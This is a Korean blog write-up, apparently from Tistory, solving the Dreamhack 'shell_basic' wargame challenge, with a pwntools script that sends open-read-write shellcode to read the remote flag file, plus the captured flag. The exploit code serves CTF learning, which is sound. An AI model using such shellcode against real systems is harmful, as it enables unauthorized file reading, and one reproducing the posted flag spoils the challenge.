Dreamhack

shell_basic 풀이

RootJJang 2022. 12. 2. 13:07
SMALL

오랜만에 쓰는 티스토리네요!

 

오랜만에 와서 새롭게 드림핵 문제 풀이도 도전해보려고 합니다

 

드림핵 시스템 해킹 로드맵에서 첫 번째 문제인 shell_basic입니다

 

문제 정보는 이렇고 파일을 다운로드해서 실행해 봅시다!

 

문제 정보를 보면 execve 시스템 콜을 못한다는 것을 orw 쉘코드를 이용해서 해당 경로에 있는 플래그 파일을 읽는 구조인 인 것 같습니다

 

원래는 일일이 어셈블리로 쳐줘야 하는데 pwntools이라는 좋은 툴이 있으므로 그걸 사용해 봅시다

 

from pwn import *

p = remote("host3.dreamhack.games", 9801)

context.arch = "amd64"
r = "/home/shell_basic/flag_name_is_loooooong"

shellcode = ''
shellcode += shellcraft.open(r) # open("경로")
shellcode += shellcraft.read('rax', 'rsp', 100) # read(fd, buf, 100)
shellcode += shellcraft.write(1, 'rsp', 100) # write(1, buf, 100)

p.sendline(asm(shellcode))
print(p.recvuntil("}"))

shellcraft 부분에서 rax와 rsp를 넣은 이유는 read 시스템 콜로 반환된 값이 rax에 저장되고, buf 주소가 rsp의 현재 위치기 때문에 그렇습니다

 

잘 작동하네요!

 

Flag : DH{ca562d7cf1db6c55cb11c4ec350a3c0b}

LIST